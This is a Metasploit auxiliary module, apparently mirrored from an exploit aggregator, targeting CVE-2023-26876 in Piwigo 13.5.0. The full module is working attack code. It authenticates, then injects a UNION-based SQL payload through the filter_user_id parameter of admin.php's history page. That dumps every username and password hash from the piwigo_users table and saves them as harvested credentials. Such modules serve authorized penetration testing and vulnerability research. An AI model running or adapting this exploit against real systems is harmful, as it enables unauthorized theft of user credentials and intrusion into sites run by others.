Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-PIWIGO_CVE_2023_26876-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck
require 'metasploit/framework/hashes'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ',
'Description' => %q{
This module allows an authenticated user to retrieve the usernames and encrypted passwords of other users in Piwigo through SQL injection using the (filter_user_id) parameter.
},
'Author' => [
'rodnt', # metasploit module
'Rodolfo Tavares', # vulnerability discovery
'Tempest Security, Henrique Arcoverde' # special thanks
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2023-26876' ],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-26876'],
],
'DisclosureDate' => '2023-04-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to Piwigo', '/' ]),
OptString.new('USERNAME', [ true, 'The username for authenticating to Piwigo', 'piwigo' ]),
OptString.new('PASSWORD', [ true, 'The password for authenticating to Piwigo', 'piwigo' ])
]
)
end
def check
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => login_page
)
if res && res.code == 200 && res.body.match(%r{themes/default/js/jquery.min.js\?v13.5.0})
return Exploit::CheckCode::Appears('The target is running Piwigo with version 13.5.0')
else
return Exploit::CheckCode::Safe('The target does not appear to be running Piwigo with vulnerable version')
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown("#{peer} - Connection failed")
end
def login
login_uri = target_uri.path.end_with?('identification.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/identification.php')
print_status('Try to log in..')
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'login' => 'Login'
}
)
if login_res.code != 302 || login_res.body.include?('Invalid username or password!')
fail_with(Failure::NoAccess, "Couldn't log into Piwigo")
end
print_good('Successfully logged into Piwigo')
end
def test_vulnerable(response)
body_response = response.body.to_s
if body_response.include?('var filter_user_name = "pwn3d";')
print_good('Target is vulnerable')
return true
else
print_error('Target is NOT vulnerable')
return false
end
end
def dump_data(sqli)
creds_table = Rex::Text::Table.new(
'Header' => 'Piwigo Users',
'Indent' => 1,
'Columns' => ['username', 'hash']
)
results = sqli.run_sql('select group_concat(cast(concat_ws(0x3b,ifnull(username,repeat(0x31,0)),ifnull(password,repeat(0xd,0))) as binary)) from piwigo_users')
body_results = results.body.to_s
match = body_results.match(/var filter_user_name = "(.*?)";/)
if match
data = match[1]
data.split(',').each do |user_and_pw|
user, hash = user_and_pw.split(';', 2)
creds_table << [user, hash]
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: user,
service_name: 'piwigo',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
end
rows_data = creds_table.rows.length
if rows_data > 1
print_status("Dump of usernames and hashes:\n")
print_line creds_table.to_s
end
end
end
def get_info
sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'vars_get' => {
'page' => 'history',
'filter_image_id' => '1',
'filter_user_id' => "123123123 union all #{payload}"
}
})
end
if test_vulnerable(sqli.run_sql('select 0x70776e3364'))
dump_data(sqli)
end
end
def run
login
get_info
end
end